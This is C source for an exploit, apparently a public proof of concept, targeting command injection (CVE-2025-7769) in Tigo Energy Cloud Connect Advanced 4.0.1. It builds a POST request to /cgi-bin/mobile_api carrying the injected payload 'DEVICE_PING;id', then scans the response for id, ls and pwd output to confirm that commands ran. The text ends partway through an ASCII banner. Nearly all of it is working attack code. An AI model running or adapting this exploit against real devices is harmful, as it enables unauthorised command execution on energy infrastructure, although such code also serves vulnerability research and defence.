1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
|
/*
* 标题: Tigo Energy Cloud Connect Advanced (CCA) 4.0.1 - 命令注入
* 作者: Byte Reaper
* CVE: CVE-2025-7769
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include "argparse.h"
#include <time.h>
#include <arpa/inet.h>
#include <curl/curl.h>
#define FULL_URL 2500
#define POST_PAYLOAD 5500
// 全局变量定义
const char *baseurl = NULL;
const char *cookies = NULL;
const char *ip = NULL;
const char *caFile = NULL;
int caS = 0;
const char *nameFileC = NULL;
int port = 0;
int uC =0;
int verbose = 0;
// 系统调用退出函数
void exitSyscall()
{
__asm__ volatile
(
"mov $0x3C, %%rax\n\t"
"xor %%rdi, %%rdi\n\t"
"syscall\n\t"
:
:
:"rax",
"rdi"
);
}
// 缓冲区长度检查函数
int checkLen(int len, char *buf, size_t bufcap)
{
if (len < 0 || (size_t)len >= bufcap)
{
printf("\e[0;31m[-] 长度过长!\e[0m\n");
printf("\e[0;31m[-] 长度 %d\e[0m\n", len);
exitSyscall();
return 1;
}
else
{
printf("\e[0;34m[+] 长度正常 (%d).\e[0m\n",len);
return 0;
}
return 0;
}
// 纳秒级睡眠函数
void nanoSleep(void)
{
struct timespec ob;
ob.tv_sec = 0;
ob.tv_nsec = 500 * 1000 * 1000;
__asm__ volatile
(
"mov $230, %%rax\n\t"
"mov $1, %%rdi\n\t"
"xor %%rsi, %%rsi\n\t"
"mov %0, %%rdx\n\t"
"xor %%r10, %%r10\n\t"
"syscall\n\t"
:
: "r"(&ob)
: "rax",
"rdi",
"rsi",
"rdx",
"r10",
"memory"
);
}
// 内存结构体定义
struct Mem
{
char *buffer;
size_t len;
};
// 写入回调函数
size_t write_cb(void *ptr,
size_t size,
size_t nmemb,
void *userdata)
{
size_t total = size * nmemb;
struct Mem *m = (struct Mem *)userdata;
char *tmp = realloc(m->buffer, m->len + total + 1);
if (tmp == NULL)
{
fprintf(stderr, "\e[1;31m[-] 内存分配失败!\e[0m\n");
exitSyscall();
}
m->buffer = tmp;
memcpy(&(m->buffer[m->len]), ptr, total);
m->len += total;
m->buffer[m->len] = '\0';
return total;
}
// 注入关键词检测数组
const char *wordInjection[] =
{
// 结果ID
"admin",
"root",
"groups=0",
"gid=0",
"uid=1000",
"gid=1000",
"groups=1000",
"bluetooth",
// 结果ls
".txt",
".py",
".php",
".sh",
".js",
// 结果pwd
"home",
"Documents",
"Desktop",
"Downloads",
"Public",
"Videos",
NULL
};
// POST请求函数
void postRequest(const char *baseurl, const char *ip, int port)
{
char full[FULL_URL];
CURL *curl = curl_easy_init();
CURLcode res;
if (curl == NULL)
{
printf("\e[0;31m[-] 创建CURL对象错误!\e[0m\n");
printf("\e[0;31m[-] 检查连接...\e[0m\n" );
const char *googleIp = "142.251.37.46";
printf("\e[0;31m[-] Ping命令 (ip = %s)\e[0m\n", googleIp);
const char *cP = "/bin/ping";
const char *av[] = {
"ping",
"-c",
"5",
"google.com",
NULL
};
const char *ep[] = { NULL };
__asm__ volatile
(
"MOV $59, %%rax\n\t"
"MOV %[cmd], %%rdi\n\t"
"MOV %[argv], %%rsi\n\t"
"MOV %[envp], %%rdx\n\t"
"syscall\n\t"
".1:\n\t"
"MOV $0x3C, %%rax\n\t"
"XOR %%rdi, %%rdi\n\t"
"syscall\n\t"
:
: [cmd] "r" (cP),
[argv] "r" (av),
[envp] "r"(ep)
:"rax",
"rdi",
"rsi",
"rdx"
);
}
if (port != 0)
{
goto ipPT;
}
printf("\e[0;31m[-] 未选择端口。\n");
if (ip)
{
unsigned long ipformat;
ipformat = inet_addr(ip);
if (ipformat == INADDR_NONE || ipformat == -1)
{
printf("\e[0;31m[-] 无效的IP地址字符串。\e[0m\n");
exitSyscall();
}
int lenIp = snprintf(full, sizeof(full),
"http://%s/cgi-bin/mobile_api",
ip);
if (checkLen(lenIp,full, sizeof(full)) == 1)
{
printf("\e[0;31m[-] 完整URL长度(IP)过长!\e[0m\n");
printf("\e[0;31m[-] 长度: %d\n",lenIp);
exitSyscall();
}
goto done;
ipPT:
printf("\e[0;36m[+] 端口: %d\e[0m\n", port);
int lenIpPT = snprintf(full, sizeof(full),
"http://%s:%d/cgi-bin/mobile_api",
ip,
port);
if (checkLen(lenIpPT,full, sizeof(full)) == 1)
{
printf("\e[0;31m[-] 完整URL长度(IP和端口)过长!\e[0m\n");
printf("\e[0;31m[-] 长度: %d\e[0m\n",lenIpPT);
exitSyscall();
}
}
else if (baseurl != NULL)
{
int lenUrl = snprintf(full, sizeof(full), "%s/cgi-bin/mobile_api", baseurl);
if (checkLen(lenUrl,full, sizeof(full)) == 1)
{
printf("\e[0;31m[-] 完整URL长度(URL和端点)过长!\e[0m\n");
printf("\e[0;31m[-] 长度: %d\e[0m\n",lenUrl);
exitSyscall();
}
}
printf("\e[0;36m[+] 最终完整URL格式: %s\e[0m\n", full);
printf("\e[0;36m[+] 准备POST载荷...\e[0m\n");
printf("\e[0;36m[+] 命令载荷注入 (cmd = id)\e[0m\n");
char post[POST_PAYLOAD];
snprintf(post,
sizeof(post),
"{\n\t\"cmd\": \"DEVICE_PING;id\",\n\t\"dev\": 2,\n\t\"ver\": 1 \n}");
printf("\e[0;34m[+] POST数据: \n%s\n", post);
struct Mem rS;
rS.buffer = NULL;
rS.len = 0;
done:
if (curl)
{
curl_easy_setopt(curl, CURLOPT_URL, full);
if (uC)
{
curl_easy_setopt(curl,
CURLOPT_COOKIEFILE,
cookies);
curl_easy_setopt(curl,
CURLOPT_COOKIEJAR,
cookies);
}
curl_easy_setopt(curl, CURLOPT_POST, 1L);
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, post);
curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, (long)strlen(post));
curl_easy_setopt(curl, CURLOPT_ACCEPT_ENCODING, "");
curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &rS);
curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L);
nanoSleep();
curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L);
if (caS)
{
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 2L);
curl_easy_setopt(curl, CURLOPT_CAINFO, caFile);
}
else
{
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
}
if (verbose)
{
printf("\e[1;35m------------------------------------------[详细Curl]------------------------------------------\e[0m\n");
curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);
}
struct curl_slist *headers = NULL;
headers = curl_slist_append(headers,
"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0)");
headers = curl_slist_append(headers,
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
if (ip)
{
char headerHost[150];
int lenH = snprintf(headerHost, sizeof(headerHost), "Host: %s", ip);
if (checkLen(lenH,headerHost, sizeof(headerHost)) == 1)
{
printf("\e[0;31m[-] 主机头过长,请检查IP大小!\e[0m\n");
printf("\e[0;31m[-] 长度: %d\e[0m\n", lenH);
exitSyscall();
}
else
{
printf("\e[0;34m[+] 主机头创建成功。\e[0m\n");
if (verbose)
{
printf("\e[0;34m[+] 主机头: %s\e[0m\n",headerHost);
}
headers = curl_slist_append(headers, headerHost);
}
}
headers = curl_slist_append(headers, "Accept-Encoding: gzip, deflate, br");
headers = curl_slist_append(headers, "Accept-Language: en-US,en;q=0.5");
headers = curl_slist_append(headers, "Connection: keep-alive");
headers = curl_slist_append(headers, "Upgrade-Insecure-Requests: 1");
headers = curl_slist_append(headers, "Content-Type: application/json");
headers = curl_slist_append(headers, "Cache-Control: max-age=0");
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers);
res = curl_easy_perform(curl);
curl_slist_free_all(headers);
long hC = 0;
if (res == CURLE_OK)
{
printf("\e[0;36m[+] 请求发送成功\e[0m\n");
if (rS.len != 0)
{
printf("\e[0;32m[+] 响应长度: %d\e[0m\n", rS.len);
}
else
{
printf("\e[0;31m[-] 响应长度为(0)\e[0m\n");
}
curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &hC);
printf("\e[0;32m[+] HTTP代码: %ld\e[0m\n", hC);
if (verbose)
{
if (rS.buffer)
{
printf("\e[0;35m\n======================================== [响应] ========================================\e[0m\n");
printf("%s\n", rS.buffer);
printf("\e[0;32m[长度]: %zu\e[0m\n", rS.len);
printf("\e[0;35m\n=============================================================================================\e[0m\n");
}
}
if (hC >= 200 && hC < 300)
{
int s = 0;
for (int j = 0; wordInjection[j] != NULL; j++)
{
if (strstr(rS.buffer, wordInjection[j]) != NULL)
{
printf("[+] 找到关键词: %s\n", wordInjection[j]);
if (rS.buffer != NULL)
{
printf("\e[0;35m ============================================= [响应] =============================================\e[0m\n");
printf("\n%s\n",rS.buffer);
printf("\e[0;35m ======================================================================================================\e[0m\n");
}
else
{
if (verbose)
{
printf("\e[0;31m[-] 未找到关键词: %s\e[0m\n", wordInjection[j]);
}
if (s)
{
printf("\e[0;31m[-] 在响应中未找到命令注入关键词!\e[0m\n");
}
}
}
}
}
else
{
printf("\e[0;31m[-] HTTP代码不在范围内 (%ld)\e[0m\n", hC);
}
}
else
{
printf("\e[0;31m[-] 请求未发送!\e[0m\n");
printf("\e[0;31m[-] 错误: %s\e[0m\n", curl_easy_strerror(res));
exitSyscall();
}
}
curl_easy_cleanup(curl);
if (rS.buffer)
{
free(rS.buffer);
rS.buffer = NULL;
rS.len = 0;
}
}
// 主函数
int main(int argc, const char **argv)
{
// ASCII艺术标题
printf(
"\e[0;31m"
" ░██████ ░██ ░██ ░██████████ ░██████ ░████ ░██████ ░████████ ░█████████ ░█████████ ░██████ ░██████ \n"
" ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ \n"
" ░██ ░██ ░██ ░██ ░██ ░██ ░████ ░██ ░███████ ░██ ░██ ░██ ░██ ░██ \n"
" ░██ ░██ ░██ ░█████████ ░██████ ░█████ ░██░██░██ ░█████ ░██ ░██████ ░██ ░██ ░████
|